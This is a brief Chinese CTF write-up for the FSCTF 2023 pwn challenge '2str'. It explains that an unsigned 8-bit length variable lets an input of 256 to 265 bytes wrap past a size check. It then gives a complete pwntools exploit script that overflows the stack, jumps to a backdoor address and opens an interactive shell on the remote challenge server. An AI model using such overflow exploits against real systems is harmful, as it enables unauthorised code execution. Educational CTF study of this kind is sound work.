【pwn】[FSCTF 2023]2str --整数溢出绕过

发布时间 2023-11-18 19:46:11作者: GGBomb

检查一下保护状态

接着ida看代码逻辑

看func函数

第一次看真没发现有什么漏洞,题目给了backdoor,虽然strlen可以\x00绕过,但是strcpy函数也限制漏洞的实现。仔细看的话,会发现v3的类型是 unsigned __int8 v3;

说明v3是一个字节来表示的,可表示的范围只有0~255,那这样绕过思路就很清晰了,我们的payload构造长度超过255,不超过265就行,然后就可以绕过if语句的判断

exp:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node4.anna.nssctf.cn",28587)

payload=b'a'*(0xb9)+b'a'*0x4+p32(0x80492AF)
payload=payload.ljust(260,b'a')
payload+=b'\x00'
io.send(payload)

io.interactive()